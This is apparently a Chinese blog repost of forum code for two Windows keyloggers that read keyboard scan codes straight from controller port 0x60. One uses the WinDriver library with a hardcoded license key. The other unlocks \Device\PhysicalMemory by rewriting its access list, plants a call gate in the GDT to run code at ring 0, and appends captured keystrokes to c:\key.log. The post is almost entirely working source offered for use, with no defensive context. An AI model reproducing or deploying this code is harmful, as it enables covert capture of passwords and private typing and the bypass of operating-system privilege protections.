站点图标 久久日记本

直接访问键盘控制芯片获取键盘记录

直接访问键盘控制芯片获取键盘记录

看论坛时找到这个代码~~

代码:

////////////////////////////////////////////////////////////////
// File - BASIC_IO.C
//
// This is a skeleton driver for a simple ISA card with IO 
// ports access.
// 
// Copyright (c) 2003 - 2006 Jungo Ltd.  http://www.jungo.com
// 
////////////////////////////////////////////////////////////////

#include <stdio.h>
#include "windrvr.h"
#include "status_strings.h"
#include "windows.h"
// put your IO range here
// in this example the range is 0x378-0x37a
enum {MY_IO_BASE = 0x60};
enum {MY_IO_SIZE = 0x10};
char keycode[120][5]={"","ESC","1","2","3","4","5","6","7","8"\
,"9","0","-","=","BSP","TAB","Q","W","E","R","T","Y","U","I","O","P"\
,"[","]","ENT","LCT","A","S","D","F","G","H","J","K","L",";","'","`","LSH","\\","Z","X","C","V","B"\
,"N","M",",",".","/","RSH","*","LAL","SPA","CAP","F1","F2","F3","F4"\
,"F5","F6","F7","F8","F9","F10","NUM","SCO","7","8","9","-","4","5","6"\
,"+","1","2","3","0","."};
//共含有53个定义的字母
// global WinDriver handle
HANDLE hWD;
// global card handle
WD_CARD_REGISTER cardReg;

BYTE IO_inp(DWORD dwIOAddr)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = RP_BYTE; // R-Read P-Port BYTE
    trns.dwPort = dwIOAddr;
    WD_Transfer( hWD, &trns); // Perform read
    return trns.Data.Byte;
}

WORD IO_inpw(DWORD dwIOAddr)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = RP_WORD; // R-Read P-Port WORD
    trns.dwPort = dwIOAddr;
    WD_Transfer( hWD, &trns); // Perform read
    return trns.Data.Word;
}

DWORD IO_inpd(DWORD dwIOAddr)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = RP_DWORD; // R-Read P-Port DWORD
    trns.dwPort = dwIOAddr;
    WD_Transfer( hWD, &trns); // Perform read
    return trns.Data.Dword;
}

void IO_outp(DWORD dwIOAddr, BYTE bData)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = WP_BYTE; // R-Write P-Port BYTE
    trns.dwPort = dwIOAddr;
    trns.Data.Byte = bData;
    WD_Transfer( hWD, &trns); // Perform write
}

void IO_outpw(DWORD dwIOAddr, WORD wData)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = WP_WORD; // R-Write P-Port WORD
    trns.dwPort = dwIOAddr;
    trns.Data.Word = wData;
    WD_Transfer( hWD, &trns); // Perform write
}

void IO_outpd(DWORD dwIOAddr, DWORD dwData)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = WP_DWORD; // R-Write P-Port DWORD
    trns.dwPort = dwIOAddr;
    trns.Data.Dword = dwData;
    WD_Transfer( hWD, &trns); // Perform write
}


BOOL IO_init()
{
    WD_VERSION verBuf;
    DWORD dwStatus;
  WD_LICENSE lic;

    hWD = INVALID_HANDLE_VALUE;
    hWD = WD_Open();
    if (hWD==INVALID_HANDLE_VALUE)
    {
        printf ("error opening WINDRVR\n");
        return FALSE;
    }
  strcpy(lic.cLicense,"6C3CC2FF5629291736D037215760FFA056B80B70.www.cnzzd.com");
  WD_License(hWD, &lic);
    BZERO(verBuf);
    WD_Version (hWD, &verBuf);
    printf (WD_PROD_NAME " version - %s\n", verBuf.cVer);
    if (verBuf.dwVer<WD_VER)
    {
        printf ("error incorrect WINDRVR version. needs ver %d\n",WD_VER);
        WD_Close(hWD);
        return FALSE;
    }

    BZERO(cardReg);
    cardReg.Card.dwItems = 1;
    cardReg.Card.Item[0].item = ITEM_IO;
    cardReg.Card.Item[0].fNotSharable = TRUE;
    cardReg.Card.Item[0].I.IO.dwAddr = MY_IO_BASE;
    cardReg.Card.Item[0].I.IO.dwBytes = MY_IO_SIZE;
    cardReg.fCheckLockOnly = FALSE;
    dwStatus = WD_CardRegister(hWD, &cardReg);
    if (cardReg.hCard==0)
    {
        printf("Failed locking device. Status 0x%lx - %s\n",
            dwStatus, Stat2Str(dwStatus));
        return FALSE;
    }

    return TRUE;
}

void IO_end()
{
    WD_CardUnregister(hWD,&cardReg);
    WD_Close(hWD);
}


void Log()
{

  BYTE retData;
  BYTE keyDown;//键按下数据
  BYTE keyUp;//键弹起数据
  BYTE bCanLog1=1;
  BYTE bCanLog2=1;
  while(1)
  {     
      retData=IO_inp( (DWORD)0x00000060);
      if(retData==0x00||retData==0xff||retData==\
        0xaa||retData==0xee||retData==0xf0||retData==\
        0xfa||retData==0xfe||retData==0xfc)
      {
        Sleep(50);
        continue;
      }

/////////////////////////////////////////////////////////////////
//键按下产生make code ,键放开产生break code,make code最高位为0,
//我们keycode使用make code作为索引打印按键。。。。。。。。。。。
//
      if(!(retData&0x80))//有键被按下!!!!
      {
        keyDown=retData;

      }
      //有键放开!!!!!retData第7位为1!我们使用make code记录键值
      //make code第7位为0!!!!
      if(retData&0x80)
      {
        keyUp=retData&0x7f;
        if(keyUp==keyDown)
        {
          printf("%s ",keycode[keyDown]);
          keyUp=0;
          keyDown=1;
        }



      }

      Sleep(50);

  }


}

void reboot()
{
  IO_outp( 0x00000064,0xfe);
}

void light()
{
  BYTE status;
  while(1)
  {

    status=IO_inp( 0x00000064);
    printf("%x",status);
    IO_outp( 0x00000060,0xed);
    IO_outp( 0x00000060,0x07);
    Sleep(100);
  }
}
int main()
{



  if (!IO_init()) return -1;
  Log();
  //reboot();
    //light();
  IO_end();

    return 0;
}


调用门键盘记录程序编写:


#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include <Ntsecapi.h>

#pragma comment (lib,"ntdll.lib")       
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")


/////////////////////////// 从 NTDDK 摘来 /////////////////////////////////// 
#ifdef __cplusplus
extern "C" {
#endif

typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 

#define STATUS_SUCCESS              0x00000000
#define OBJ_KERNEL_HANDLE           0x00000200
#define STATUS_ACCESS_DENIED        0xC0000022
#define OBJ_CASE_INSENSITIVE        0x00000040L

    typedef struct _OBJECT_ATTRIBUTES {
        ULONG Length;
        HANDLE RootDirectory;
        PUNICODE_STRING ObjectName;
        ULONG Attributes;
        PVOID SecurityDescriptor;
        PVOID SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
    }

    NTSYSAPI
        VOID
        NTAPI
        RtlInitUnicodeString(
        PUNICODE_STRING DestinationString,
        PCWSTR SourceString
        );

    NTSYSAPI
        NTSTATUS
        NTAPI
        ZwOpenSection(
        OUT PHANDLE SectionHandle,
        IN ACCESS_MASK DesiredAccess,
        IN POBJECT_ATTRIBUTES ObjectAttributes
        );

    NTSYSAPI
        NTSTATUS
        NTAPI
        ZwClose(
        IN HANDLE Handle
        );

#ifdef __cplusplus
}
#endif
///////////////////////////////////////////////////////////////////////////// 


//GDTR结构
typedef struct gdtr {
    unsigned short Limit;      //16位长度
    unsigned short BaseLow;    //32位线形地址低16位
    unsigned short BaseHigh;   //32位线形地址高16位

} Gdtr_t, *PGdtr_t;

//调用门描述符
typedef struct
{
    unsigned short  offset_0_15;//段中偏移值低16位
    unsigned short  selector;  //段选择符

    unsigned char    param_count : 4;//参数个数
    unsigned char    some_bits   : 4;

    unsigned char    type        : 4;//类型
    unsigned char    app_system  : 1;
    unsigned char    dpl         : 2;
    unsigned char    present     : 1;
    unsigned short  offset_16_31;//段中偏移值高16位
} CALLGATE_DESCRIPTOR;


typedef struct
{
  ULONG BaseAddr;
  unsigned short Limit;
} INFO;

//打印错误信息
void PrintWin32Error( DWORD ErrorCode )
{
    LPVOID lpMsgBuf;

    FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL, ErrorCode, 
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf, 0, NULL );
    printf("%s\n", lpMsgBuf );
    LocalFree( lpMsgBuf );
}


//虚拟地址转化为物理地址,线性地址在0x80000000与0xa0000000范围内,只是简单的进行移位操作
//GDT表在Windows NT/2000中一般情况下均位于这个区域
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
    if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
        return 0;
    return virtualaddress&0x1FFFF000;
}


//设置物理段可读
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
    //HSection为\Device\PhysicalMemory句柄
    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;
    //找到它的安全描述符
    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        printf( "GetSecurityInfo Error %u\n", dwRes );
        goto CleanUp;
    }

    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";

    //在当前ACL中添加Read/Write授权
    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        printf( "SetEntriesInAcl %u\n", dwRes );
        goto CleanUp;
    }
    //更新安全描述符
    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        printf("SetSecurityInfo %u\n",dwRes);
        goto CleanUp;
    }

CleanUp:

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pSD);
}



HANDLE   hSection=NULL;
GetBaseInfo(INFO *pInfo)
{
  Gdtr_t gdt;
    __asm sgdt gdt;
  //转化虚拟内存地址为物理地址
  ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
    if(!mapAddr) return 0;


    NTSTATUS status;
    OBJECT_ATTRIBUTES        objectAttributes;
    UNICODE_STRING objName;

    RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");
    InitializeObjectAttributes(&objectAttributes,
        &objName,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
        NULL,
        (PSECURITY_DESCRIPTOR) NULL);
   //打开对象句柄
   status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
   SetPhyscialMemorySectionCanBeWrited(hSection);
   ZwClose(hSection);
   status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
   if(status != STATUS_SUCCESS)
    {
        printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
        return 0;
    }

    PVOID BaseAddress;
    //映射section到当前进程空间
    BaseAddress=MapViewOfFile(hSection,
        FILE_MAP_READ|FILE_MAP_WRITE,
        0,
        mapAddr,
        (gdt.Limit+1));

    if(!BaseAddress)
    {
        printf("Error MapViewOfFile:");
        PrintWin32Error(GetLastError());
        return 0;
    }
  pInfo->BaseAddr=(ULONG)BaseAddress;
  pInfo->Limit=gdt.Limit;

}

INFO info;
//定义需要打印的按键名称
char cKeyPress[][6]={"A","B","C","D","E","F","G","H","I","J","K",
"L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4",
"5","6","7","8","9","`","-","=","\\","BKSP","SPACE","TAB","CAPS","ENTER","ESC","[","]",";","'",",",".","/","?"};
//定义按键被按下是产生的扫描码
unsigned char cKeyDown[255]={0x1E,0x30,0x2E,0x20,0x12,0x21,0x22,0x23,0x17,0x24,0x25,0x26,0x32,0x31,0x18,0x19,0x10,0x13,0x1F,
0x14,0x16,0x2F,0x11,0x2D,0x15,0x2C,0x0B,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x29,0x0c,0x0d,0x2b,0x0e,0x39,0x0f,0x3a,0x1c,0x01,
0x1a,0x1b,0x27,0x28,0x33,0x34,0x35,0};
//安装调用门进入ring0
BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{

    CALLGATE_DESCRIPTOR *cg;

    //添加调用门
    for( cg=(CALLGATE_DESCRIPTOR *)((ULONG)info.BaseAddr+(info.Limit&0xFFF8));
        (ULONG)cg>(ULONG)info.BaseAddr; cg-- ) 
    {
      //寻找到空闲空间
      if(cg->type == 0){
            cg->offset_0_15 = LOWORD(Entry);//取调用门函数低16位
            cg->selector = 8;           //设置内核段选择子
            cg->param_count = 0;    //参数个数
            cg->some_bits = 0;        //系统保留
            cg->type = 0xC;          // 386调用门
            cg->app_system = 0;      //系统保留
            cg->dpl = 3;             //描述符权限,设置为允许 RING 3 进程调用
            cg->present = 1;      //存在位设置为1表示有效
            cg->offset_16_31 = HIWORD(Entry);//取调用门函数低16位

            break;
      }

    }




    short farcall[3];

    farcall[2]=((short)((ULONG)cg-(ULONG)info.BaseAddr))|3;
    //锁定内存,该内存页不能交换到页文件
    if(!VirtualLock((PVOID)Entry,seglen))
    {
        printf("Error VirtualLock:");
        PrintWin32Error(GetLastError());
        return 0;
    }

    SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);

    Sleep(1);
    //呼叫调用门实现特权级转移
    _asm call fword ptr [farcall]

        SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);

    VirtualUnlock((PVOID)Entry,seglen);

    //清除调用门
    *(ULONG *)cg=0;
    *((ULONG *)cg+1)=0;


    return TRUE;
}

struct _RING0DATA
{
    unsigned char cKey;

}keyData;
//读取0x60端口获取键盘扫描码
void __declspec (naked) GetKey()
{
    _asm{
    pushad;
        pushf;
        cli;
    in al,60h; 
    mov keyData.cKey,al; 
    popf;
        popad;
        retf;
    }

}

void main(void) 
{ 
    ZeroMemory(&keyData,sizeof(struct _RING0DATA));
    //锁定内存,该内存页不能交换到页文件,代码在内核模式运行,不能交换到硬盘中!!!
  VirtualLock((PVOID)&keyData,sizeof(struct _RING0DATA));
  VirtualLock((PVOID)&info,sizeof(INFO));
    GetBaseInfo(&info);
  unsigned char cKeyLast=0,cKeyNow=0;
   DWORD dwLast;
     DWORD dwCurrent;
     DWORD dwInterval = 10000;
  dwLast = GetTickCount();
  while(1)
  {

    dwCurrent = GetTickCount();
    if( dwCurrent - dwLast > dwInterval )
      break;
    ExecRing0Proc((ULONG)GetKey,0x100);
    cKeyNow=keyData.cKey;
    //如果有键弹起
    if(cKeyNow>0x80)
    {
      if(cKeyNow==(cKeyLast+0x80))//弹起键为上次按下的键
      {
        for(int i=0;i<sizeof(cKeyDown);i++)
        {
          if(cKeyDown[i]==cKeyLast)//打印按下的键
          {
            //printf("%s\n",cKeyPress[i]);
            FILE *fp=fopen("c:\\key.log","a+");
            fprintf(fp,"%s",cKeyPress[i]);
            //fputs(cKeyPress[i],fp);
            fclose(fp);

          }
        }
        //令上次按下的键与本次放开的不相等
        cKeyNow=0;
        cKeyLast=1;
      }
    }
    //其他情况
    else
    {
      for(int i=0;i<sizeof(cKeyDown);i++)
      {
        if(cKeyNow==cKeyDown[i])//有键按下
        {
          cKeyLast=cKeyNow;
        }
      }
    }
    Sleep(100);

  }
  VirtualUnlock((PVOID)&info,sizeof(INFO));
    VirtualUnlock((PVOID)&keyData,sizeof(struct _RING0DATA));
  ::ZwClose(hSection);


} 
退出移动版